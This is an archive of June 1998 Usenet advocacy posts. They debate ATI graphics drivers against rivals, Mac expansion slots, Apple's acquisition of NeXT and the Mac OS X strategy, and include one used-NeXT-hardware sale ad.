Organization: MCI2000
Salvatore Denaro wrote:
>
> On Sat, 20 Jun 1998 03:34:03 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >Actually, the *buggiest* drivers by far in my experience have always
> >been ATI drivers.
>
> Buggy PC drivers mean nothing to Mac users.
They should. Every new Mac gets ATI *software* tech, as well as the
hardware.
>
> > They are terrible. Matrox, on the other hand, puts out
> >very bugless drivers on a fairly regular basis. 3dfx rarely puts out
> >buggy anything, but nowhere near the 90-day frequency. It all depends on
> -------------------------------------------------------^^^^^^^^^^^^^^^^^^^^
> >the company.
> ^^^^^^^^^^^^
>
> That was my point.
???? You've lost me. I was telling you about *a* specific company,
ATI....what *was* your point?
>
> >20%? Try like 100%-200%! that's *much more like it*. Everybody knows
> >that ATI has fudged their drivers by optimizing them for specific
> >benchmarks. When the comparisons are made with real software in both
> >framerate and visual quality, ATI drops *drastically* below the
> >benchmark numbers.
>
> Can you supply proof?
You've already read it here from other people. Try Tom's hardware page
for starters. In some games the ATI tech rates 300% SLOWER than 3dfx,
not to mention how bad the visual quality is by comparison.
Message-ID: <358E88AC.7AB7CCC6@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <3588B000.8094E413@nstar.net> <slrn6ohebn.ss3.sal@panix3.panix.com> <358930F5.F2CF7C78@nstar.net> <slrn6oig4h.k93.sal@panix3.panix.com> <358B30C2.E146D498@spamtoNull.com> <slrn6or9od.h0d.sal@panix3.panix.com>
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Date: Mon, 22 Jun 1998 16:34:55 GMT
NNTP-Posting-Date: Mon, 22 Jun 1998 16:34:55 GMT
Organization: MCI2000
Salvatore Denaro wrote:
>
> On Sat, 20 Jun 1998 03:43:06 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >Don't assume this--you'd be wrong. ATI does *terrible* drivers--always
> >have and it seems they always will.
>
> PC drivers? Why should a Mac user care if ATI ships buggy PC drivers?
Let's go through this slowly...if ATI does such a lousy job with X86
drivers for its products, why does that not give you pause concerneing
the quality of the ATI drivers ATI writes for Apple to include in its OS
with Apple products? You see no correlation, even though it's the *same*
company and the *same* hardware?
>
> > If the Apple implementation is
> >anywhere near stable, it's only because Apple has tweaked and improved
> >the drivers for the Mac OS (which I wouldn't doubt)--not because the
>
> That is a great reason for Apple to use the ATI card. Thanks for making
> that point.
?????? This makes no sense that I can follow, sorry. How does the fact
that Apple has to debug ATI drivers equate to ATI being an excellent
choice for Apple?
>
> >drivers are "more stable because Rage II is older." Has nothing to do
> >with it.
>
> I never said that. What I said was that Apple might decide to stick with
> a chipset because the drivers a) exist b) are stable. I made no statement
> on the age of the chipset.
Then what. pray tell, makes you think the drivers are stable?
Message-ID: <358E8B91.E7803822@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <njcosta-ya02408000R1506980112460001@news.earthlink.net> <358537F3.66478A32@spamtoNull.com> <cirby-1506981529250001@pm53-28.magicnet.net> <3585EA07.BDE7E2C6@spamtoNull.com> <atlauren-1706981027500001@jungleland.acs.uci.edu> <358B2A9B.84F9CA1C@spamtoNull.com> <stone-ya02408000R2006981028280001@news.enetis.net> <358DA2DC.E2DDEEF7@spamtoNull.com> <joe.ragosta-2106982043510001@elk78.dol.net>
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Date: Mon, 22 Jun 1998 16:47:16 GMT
NNTP-Posting-Date: Mon, 22 Jun 1998 16:47:16 GMT
Organization: MCI2000
Joe Ragosta wrote:
>
> In article <358DA2DC.E2DDEEF7@spamtoNull.com>, Jonathan Harker
> <Limeyville@spamtoNull.com> wrote:
>
> > I understand that the 3-slot limit has not always applied to Apple
> > products, and I lament the loss of Apple cloners who made great boxes.
> > But the current Apple product line caps the limit at three PCI slots.
> > Hopefully, Apple will correct this in the near future. But the current
> > state of affairs in no way invalidates what I said: that talking about
>
> Nonsense. You can buy a 6 PCI expansion slot box for your Mac and you
> still wouldn't run out of slots.
But you *can't buy it from Apple*, can you? And *six slot Macs* aren't
being made right now, are they? So the only way your scenario pans out
is if users purchase an *extra cost* PCI expansion *box* to bridge to
their machine. Hate to tell you, Joe, but that's not *internal*
expansion. Too bad they have to, isn't it?
>
> > Interrupt limits in PCs right now is ludicrous since the Mac's problem
> > is worse: a lack of internal expansion slots. Current PCs can fill all
> > their slots (AGP, PCI, and ISA) and still have IRQ's to spare. With half
> > the internal expansion capability, you'd run out of slots in a Mac long
> > before you'd run out of IRQ's (if the Mac was limited to them.)
>
> ROTFLMAO.
What's wrong with that statement? According to what you say above it is
absolutely true. It's a fact that a standard G3 desktop purchased from
Apple is not as expandable as even some of your bargain basement PC's,
in terms of the number of internal devices that can be added. IRQ's have
no bearing at all in the matter.
>
> Then why are there so many reports about PCs that can't be expanded
> because all their IRQs are full (from major magazines).
Probably because they ship with six or seven slots occupied....? I don't
know, as I've never bought one like that and never will. You see, Joe,
in the X86 market we have a choice as to what we buy.
>
> More importantly, let's look at it:
>
> My PC has 4 PCI slots (including the shared shot which is widely reported
> to have problems). I've ignored the ISA slots as much as possible because
> of PnP problems.
> I have the following PCI cards:
> Video card
> Sound card
> Ethernet card
> 3D video
> PLUS:
> ISA modem
>
> On my Mac, I have the same functionality except for the 3D video. Not a
> single one of my PCI slots is filled. So, I have two available PCI slots
> on the Mac and none on the PC.
Yes, but *my* PCs are much better than *your PC*....:) Therefore, I do
not have the limitations you impose do. I have AGP, and I use ISA cards
under Win98 RC3 with no problems. Simple enough to understand, right?
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 22 Jun 1998 10:40:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6mm4th$d1p@nntp02.primenet.com>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <6ml68j$6ik$1@news.tuwien.ac.at> <6ml92f$2do$2@supernews.com> <6mlvqh$ht4$1@news.cs.tu-berlin.de>
Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
: Java and C++ make you think that the new ideas are like the old ones.
: Java is the most distressing thing to hit computing since MS-DOS.
: - Alan Kay -
Java is the most distressing thing to hit computing since Alan Kay.
John
From: Doug@Mega-Watts.com (Doug Watts)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.marketplace
Subject: FS: NEXT Systems, Monitors, Printers, Sound Boxes, Keyboards & Mice
Message-ID: <Doug-2206981226060001@pm3-15.ppp31.webzone.net>
Organization: Mega-Watts Computers
Date: Mon, 22 Jun 1998 17:19:05 GMT
NNTP-Posting-Date: Mon, 22 Jun 1998 12:19:05 CDT
FS: NEXT Systems, Monitors, Printers, Sound Boxes, Keyboards & Mice
Hi! We just received some Next systems with alot of Mac Equipment and we
are looking for offers on it. All can be boxed & shipped or freighted.
Item: Specs: Qty: Model#
NeXT Station Color Turbo 16/250/Floppy 6 N1200
NeXT Station Turbo 16/250/Floppy 3 N1100
NeXT MegaPixel 17" Color Monitor 6 N4006
NeXT MegaPixel 17" B/W Display 3 N4000B
NeXT 400 DPI Laser Printer 2 N2000
NeXT Sound Box 4 N4004A
NeXT Keyboard 9 N8001-3658
Next Mouse 9
Tested Working with a DOA warranty!
All prices reflect a 3% cash/cod discount. We accept
MC/Visa/Discover/AmEx.
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--
Doug Watts with Mega-Watts Computers
Your Source for Mega-Mac-Deals!
sales: 918-250-5546, fax: 918-252-7260
doug@Mega-Watts.com, www.Mega-Watts.com
Message-ID: <358E8E31.F8AB0298@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <see-below-1706981807140001@dynamic62.pm07.mv.best.com> <slrn6oh5t5.p7f.sal@panix3.panix.com> <358B2F85.1053B40@spamtoNull.com> <joe.ragosta-2006980714560001@elk32.dol.net> <358DA154.6CD1B486@spamtoNull.com> <joe.ragosta-2206980635560001@elk68.dol.net>
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Date: Mon, 22 Jun 1998 16:58:28 GMT
NNTP-Posting-Date: Mon, 22 Jun 1998 16:58:28 GMT
Organization: MCI2000
Joe Ragosta wrote:
>
> Sure. ATI has economies of scale. But that doesn't prove your position.
> You're saying that there isn't a single graphics chip set out there that's
> less expensive than the ATI Rage II??? I'd say you're wrong. There are S3
> chip sets, for example, that are much less than the Rage II.
>
> So your assertion is wrong.
>
Actually, again, it's you who are wrong. Apple has what's known as
"buying requirements"--these are matters relating to orders, quantity
buying, delivery times, and so forth. Simply put, Apple buys the
cheapest chips it can from a manufacturer who can *deliver* them within
the schedules and quantities Apple requires. Who knows? Maybe Apple
approached S3 and couldn't get a deal Jobs could live with. Do you know?
BTW, the Rage II really sucks....:) And I've never cared for S3, myself.
The question you should be asking yourself, instead doing all this lame
defense of ATI, is "why doesn't Apple include some state-of-the-art
graphics technology from top notch companies instead of warmed over,
yesterday's third-rate PC graphics technology?" As a Mac user, that
would insult me.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: Mon, 22 Jun 1998 10:28:29 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-2206981028290001@dante.eng.uci.edu>
References: <6mkd25$8c44@odie.mcleod.net>
In article <6mkd25$8c44@odie.mcleod.net>, "Michelle L. Buck"
<buck.erik@mcleod.net> wrote:
>BEGIN QUOTE FROM MEMORY:
>
>The NeXT purchase was a mistake. Apple already had a Mach kernel and the
>certainly could have purchased another one for less than 400M. If Apple had
>planned to release Openstep ASAP as the new operating system, then it might
>have been worth 400M to skip 2-4 years of development and get a product to
>market. As it is, all interesting NeXT technology has been deprecated or
>out right abandoned. Hell, even NeXTtime was superior to its replacement
>(nothing) in Rhapsody and we have waited 2+ years.
Apple has two goals for MacOS X. That seems to be the stumbling point for
many of us, myself included recently.
Rhapsody was a great solution to getting *brand* new development -
development from people that _don't_ have large cross-platform libraries
(like Adobe), and _don't_ have an investment in Win32. Mostly attractive
to new projects, experimental/bleeding edge stuff, competitive in-house
development, and unix developers looking for some mainstream acceptance.
The reason that Rhapsody didn't go far enough is that it didn't service
existing MacOS developers. That's why we have MacOS X. It does water down
Rhapsody a little, but should also make Rhapsody much more approachable.
Could Apple have done OS X by itself? No.
Could some other company done OS X or something better? Maybe, but not
when you pull in some of the fringe elements, I don't think.
Apple has two groups they need to work on: existing MacOS developers and
people from outside the MacOS world. We'll never get *anywhere* without
new developers, and new developers will *never* show up without
marketshare. And when that marketshare comes, the tools _better_ be
available. So the value of these things will come *after* Apple improves
their marketshare...
>POSIX: Apple developers don't want it. It was adapted from
>Free BSD after the merger.
Necessary element for some markets to adopt OS X. If this isn't here,
Apple will _never_ get interest down the road. Investment.
>MACH: Apple already had it before the merger
But they weren't doing anything with it. Copland and future OSes were to
be based on NuKernal. Apple now has people that appreciate Mach. I don't
know how important this is, actually. A good kernal is a good kernal.
There must be arguments against Mach. The fact that others are advancing
it is it's strongest feature, IMO. Apple gets to leech.
>YellowBox: Deprecated
Put aside when talking to MacOS developers that really only want to hear
about Carbon. Wait for Apple to discuss YellowBox when talking to in-house
developers, for instance. A _rather_ large market, no?
>WebObjects: Small potatoes. Apple customers don't get it.
Some of us do. Again, in-house. Apple is starting to make inroads here
where they _never_ would have before. A good sign. Cheap hardware, more
compatability, more _faith_ in Apple's survivability will increase
adoption.
>UFS/NFS: Deprecated in favor of HFS+ and de-frag tools
Not important enough, I don't think. So long as there is NFS support both
ways and adaptors for other formats it's a tolerable tradeoff.
>Display Postscript: Abandoned
Perhaps wisely. We'll have to see on this. Moving forward, at least it
seems to me. PDF and PGML are for the future, PS is slowly going away.
>Remote Display: Abandoned
A shame. Apple needs to redeem themselves here.
>NeXTstep GUI: Abandoned
We've got 27 million customers that own and are familiar with the Mac GUI.
Theres enough scary stuff in here without throwing a new GUI in. But the
MacOS GUI should be abandoned a year or two after OS X comes out for
something better.
>EOF: Same fate as rest of YellowBox
Same argument as YB.
>Consistent Applications: Same fate as YellowBox/impossible along side
>Carbon
Same argument as YB.
>Services: Same fate as YellowBox
Same argument as YB.
>Intel Support: Abandoned
It would seem that Intel is also abandoning Intel support. Besides, NT
support is what the most paying customers want anyway.
>Sparc Support: Abandoned before purchase
>Enterprise Support: Abandoned
Not emphasized to the MacOS community that doesn't have enterprise now.
Apple needs to sneak into the enterprise community. WO can help them do
that. They need other, _seriously_ compelling solutions to get in,
however. It takes a lot to overcome the apparent safety of everything-MS.
>The counter argument is that with the exception of the outright canceled
>technology, Apple is just playing down acquired technology because Apple
>developers don't want it and Apple does not want to scare them. OK, then
>why have it at all if they don't want it ?
Because if Apple does nothing but appease the MacOS developers then Apple
is doomed. There simply aren't enough of them. Apple needs to find a way
to get new developers to support the Mac. It seems to me the evaluation
process from a developer would go like this:
1) is there enough of a market for me to make money?
2) are there proper tools available that will make a Mac product
possible/profitable?
3) is there support for the platform down the road that will help secure
my investment in the development of the product.
Apple needs to make more headway on #1, but at the same time not undermine
#2. If Apple were to suddenly end up with 10% marketshare (a lot, I
realize, but not a totally impossible number) would it make any difference
if potential developers realized that there was no POSIX support, critical
for their app? Plug in whatever technology/framework/API you want and
repeat.
Appeasing the MacOS community helps secure #1. Good management and an
improving marketshare will deliver #3. That's the faith part...
>MaxOS-X is NOT Rhapsody 2.0. MaxOS-X is watered down Copland 5 years late.
MacOS X is Rhapsody 2.0 _and_ a watered down Copland.
The MacOS developers wanted a watered down Copland.
>The fact that Mach is used as the kernel is coincidence. POSIX APIs are a
>non issue with Mac developers. Mac developers and users don't want
>UNIX/shells, standard UNIX tools, remote network administration, large
>network support, etc.
Yep. The Mac people should be very happy with OS X. It's important not to
lose them, they pay the bills right now. The YB/WO/EOF/whatever people are
the future. They will hopefully pay the bills in the future.
>With the possible exception of high resolution graphics, everything NeXT
>shipped in 1988 could have been in the Mac.
Except compatability and the kind of polish that the Mac community
demands. Using a terminal is _not_ an option in the MacOS world. Editing
text files for configuration is _not_ an option in the MacOS world. There
is a lot that still needs to be delivered over DR2 to make it acceptable.
>People will say BS, no Mac
>customer could have afforded it. Wake up! I purchased a Next Cube in early
>1989 partly because it was CHEAPER than the most nearly equivalent Apple
>product and had more features to boot.
Doesn't matter. Ancient history.
>My GOD! Look at the Apple APIs. They are worse than Win32. Take into
>account that they are built on shaky OS foundations and just cringe.
>Windows deserved to beat the Mac. Windows is crap too, but it is a hell of
>a lot more modern/powerful today.
Fair enough. But if you have 250,000 lines of Mac Toolbox code (like Adobe
and Macromedia surely do) does that really matter?
>Oh yah, I forgot, Mac users love their
>GUI and work flow. Well, I have got news - it is not all that great
>anymore.
Bullshit. We have a Windows PC here an I was asked how to grab an HTML
file from the browser and edit it. It was about a 10 step process on the
PC. It's a 2 step process on the Mac and a one-step process on mine. The
comparison on workflow is a joke in most cases. There is only one case I
need to make on workflow - scripting. Windows doesn't have any.
What NeXT brings to the table are technologies that, while not attractive
to the MacOS crowd, _should_ be attractive to the new breed of MacOS
developers that come after Apple stabilizes and grows marketshare. Carbon
secures the present, YB secures the future.
-Bob Cassidy
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 22 Jun 1998 18:13:38 GMT
Organization: Rockwell International
Message-ID: <6mm6si$tnb1@onews.collins.rockwell.com>
References: <6mkd25$8c44@odie.mcleod.net> <6ml68j$6ik$1@news.tuwien.ac.at>
<1db0zls.lcwst2v9czm0N@rhrz-isdn3-p59.rhrz.uni-bonn.de> <6mlh7o$g5l$1@news.tuwien.ac.at>
<6mlsea$ard@newsb.netnews.att.com>
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Cc: gupta@kcopsrm.tm.tta.moc-mirror after @
So then this is an argument the the NeXT purchase was a mistake. I though we
were refuting that argument.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 22 Jun 1998 18:26:14 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ot8e6.mvv.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <358E8686.FEBF1301@spamtoNull.com>
On Mon, 22 Jun 1998 16:25:46 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>Salvatore Denaro wrote:
>> On Sat, 20 Jun 1998 03:27:15 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>> >Take it from me, the Rage Pro is "below average" (I'd give it at best a
>> >C-) in the current state of 3d hardware. At 2d, I'd give it a flat C.
>> Huh? It recieved awards as recent as May98. Go to http://www.atitech.ca/
>> if you don't belive me.
>I believe you alright, just I'm a little surprised at your naivety.
>Computer Mag "awards" do not equate to either performance or value in
>the real world.
Please list what is a good judge of value. Your circular agruments and
strawmen can stay home.
>take them *all* with a large grain of salt. When you've *personally*
>worked with a wide variety of manufacturers' products then you actually
>know something of some worth.
Odd, In the June '98 issue of Boot, Sony's VP in charge of it's VAIO
line of PCs, Wataru Ogawa had this to say about the ATI card:
"We are always evaluating the best match for our PCs. So far we have
selected ATI accelerators because they deliver a complete 2d/3d AGP
graphics solution."
I think Mr Ogawa's word is worth more than yours.
>Right. As I said in the beginning, the ATI chips cost less because they
>deliver less, and believe me they deliver a lot less than 20%.
Why should I take your word? You have not posted any proof of your
claims. Post *your* list of objective comparison criteria and well do
a fair comparison.
>Sorry, but the MG 200 Matrox series is slated for release *end of this
>month!* Not 1999.
Will is ship in machines priced in the $1299 range? I don't think so.
Low end PCs tend to ship with ATI cards or s3 cards.
>it shows. Look, if the ATI tech was *great* I'd cheerfully *say* it was
>great and chalk the inclusion of ATI tech up as a positive for Apple.
No your wouldn't. I've been reading your posts for a while. You never
have anything positive to say about anything. You post FUD and outright
lies and refuse to list facts when asked to do so.
--
sal@panix.com
Salvatore Denaro
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 22 Jun 1998 13:28:53 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mlm6l$cli$1@ns3.vrx.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126>
<slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com>
<slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com>
<slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net>
<slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com>
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In <358E8686.FEBF1301@spamtoNull.com> Jonathan Harker claimed:
> I believe you alright, just I'm a little surprised at your naivety.
> Computer Mag "awards" do not equate to either performance or value in
> the real world. More rarely still, are they accurate. Good advice is to
> take them *all* with a large grain of salt.
Better advice, IMHO, is to go to Tom's Hardware Page.
> > >3dfx, Riva, and the soon-to-be-released Matrox MG 200, among others, are
> > >*much* better at 3d and in the case of the Matrox and the Riva, their
> > >included 2d puts the Rage Pro to absolute shame. It's not even close.
> >
> > They *should* do better than the ATI card, they *cost* more. The ATI
> > Xpert@play/work costs less than half of what the 3dfx card costs. And it
> > it 2d and 3d.
>
> Right. As I said in the beginning, the ATI chips cost less because they
> deliver less, and believe me they deliver a lot less than 20%.
Perhaps more to the point, the price of the G200 appears to be equal or
less that the ATi.
> Sorry, but the MG 200 Matrox series is slated for release *end of this
> month!* Not 1999.
A fact that decided my 3D acceleration needs for me. Finally!
Maury
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 22 Jun 1998 18:37:35 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ot93f.mvv.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <3588B000.8094E413@nstar.net> <slrn6ohebn.ss3.sal@panix3.panix.com> <358930F5.F2CF7C78@nstar.net> <slrn6oig4h.k93.sal@panix3.panix.com> <358B30C2.E146D498@spamtoNull.com> <slrn6or9od.h0d.sal@panix3.panix.com> <358E88AC.7AB7CCC6@spamtoNull.com>
On Mon, 22 Jun 1998 16:34:55 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>Let's go through this slowly...if ATI does such a lousy job with X86
>drivers for its products, why does that not give you pause concerneing
Apple has better control of it's hardware than most PC vendors do. That's
why.
According to who? I've read the review of the ATI cards on Tom's hrdware
and on Anand's page. They make no mention to buggy drivers, with the
excpetion of the OpenGL drivers. The OpenGL driver were listed as "beta"
Please post *where* you read that ATI ships buggy drivers. And I stil
don't see any link between buggy PC drivers and the Mac drivers. Don't
you think that Apple would invest the time needed to make sure they shipped
solid drivers?
>> > If the Apple implementation is
>> >anywhere near stable, it's only because Apple has tweaked and improved
>> >the drivers for the Mac OS (which I wouldn't doubt)--not because the
>> That is a great reason for Apple to use the ATI card. Thanks for making
>> that point.
>?????? This makes no sense that I can follow, sorry. How does the fact
>that Apple has to debug ATI drivers equate to ATI being an excellent
>choice for Apple?
Why should they through away the time and effort they made in getting solid
drivers for a video card?
>> I never said that. What I said was that Apple might decide to stick with
>> a chipset because the drivers a) exist b) are stable. I made no statement
>> on the age of the chipset.
>Then what. pray tell, makes you think the drivers are stable?
1) I've never seen *any* posts from Mac users saying otherwise.
2) Video cards are a very replacible system part. In order for ATI
to keep it's #1 rating as an OEM part maker, it has to ship a
good part. The PC industry can move from ATI to Permedia or whoever
very quickly, but they are not.
3) The've had plenty of time to work with Apple.
--
sal@panix.com
Salvatore Denaro
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 22 Jun 1998 13:30:52 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mlmac$cli$2@ns3.vrx.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126>
<slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com>
<slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com>
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<slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net>
<slrn6oh598.p7f.sal@panix3.panix.com> <3588B000.8094E413@nstar.net>
<slrn6ohebn.ss3.sal@panix3.panix.com> <358930F5.F2CF7C78@nstar.net>
<slrn6oig4h.k93.sal@panix3.panix.com> <358B30C2.E146D498@spamtoNull.com>
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In <358E88AC.7AB7CCC6@spamtoNull.com> Jonathan Harker claimed:
> Let's go through this slowly...
Ok.
> if ATI does such a lousy job with X86
> drivers for its products, why does that not give you pause concerneing
> the quality of the ATI drivers ATI writes for Apple to include in its OS
> with Apple products?
No. Two different teams, completely. ATI software for the Mac has been
pretty damb good.
> You see no correlation, even though it's the *same*
> company and the *same* hardware?
None whatsoever. Look for yourself and try to find one, you won't.
> Then what. pray tell, makes you think the drivers are stable?
a) they are
b) no reason that they shouldn't be
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: sum it up: the Macintosh Faithful
Date: 22 Jun 1998 13:32:20 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mlmd4$cli$3@ns3.vrx.net>
References: <358E781B.EDBC8A6D@bcomp.com>
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Cc: afrabutt@bcomp.com
In <358E781B.EDBC8A6D@bcomp.com> Alan Frabutt claimed:
> Kind of says alot, don't it?
No. Should it?
Maury
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 22 Jun 1998 18:41:46 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ot9ba.mvv.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <358BD202.1C45C63B@chem.uit.no> <slrn6or9e4.h0d.sal@panix3.panix.com> <358E86B9.5E41A912@spamtoNull.com>
On Mon, 22 Jun 1998 16:26:36 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>Not on the iMac, you can't. And that was the topic.
When did anyone ever say that the iMac was to be all things to all users?
If you need 3dFX, the iMac is not for you.
If you need a Database server, the iMac is not for you.
If you need to do high end-video production, the iMac is not for you.
If you need to use a 21" monitor, the iMac is not for you.
If you want to play PlayStation games, the iMac is not for you.
If you need a low-cost all around good machine, and you don't want
a beige box, the iMac *might* be for you. There are other factors
to look into.
--
sal@panix.com
Salvatore Denaro
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 22 Jun 1998 18:18:13 GMT
Organization: Rockwell International
Message-ID: <6mm755$tnb2@onews.collins.rockwell.com>
References: <6mkd25$8c44@odie.mcleod.net> <6ml68j$6ik$1@news.tuwien.ac.at>
<1db0zls.lcwst2v9czm0N@rhrz-isdn3-p59.rhrz.uni-bonn.de> <6mlh7o$g5l$1@news.tuwien.ac.at>
<6mlsea$ard@newsb.netnews.att.com> <joe.ragosta-2206981241190001@wil51.dol.net>
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Cc: joe.ragosta@dol.net
> > [Maybe in the long run, the Yellow Box will give rise to less expensive
> > applications, or applications with more capabilities and many fewer
> > significant bugs. In that case, the users might begin to care.]
>
> That's _exactly_ the point of YB.
>
> >
> > What the Yellow Box does is present an opportunity for new software
> > startups.
>
> That, too.
Also, part of the point of NeXTstep was consistency and ubiquitous features.
The sum can be more that the parts. I like the fact that if I can see
something I can print it. I like the fact that all text is selectable even
if it is not editable. I like being able to use my favorite spell checker in
all applications. I like services. I like bundles.
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 22 Jun 1998 18:21:03 GMT
Organization: Rockwell International
Message-ID: <6mm7af$tnb3@onews.collins.rockwell.com>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net>
<6ml68j$6ik$1@news.tuwien.ac.at> <1db0zls.lcwst2v9czm0N@rhrz-isdn3-p59.rhrz.uni-bonn.de>
<6mlnce$27m@nntp02.primenet.com> <slrn6osuf9.6e3.sal@panix3.panix.com>
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Cc: sal@panix3.panix.com
In <slrn6osuf9.6e3.sal@panix3.panix.com> Salvatore Denaro wrote:
> Apple hasn't had anything like solid marketing since Apple ][ days, and
> NeXT never marketed to the large audence.
>
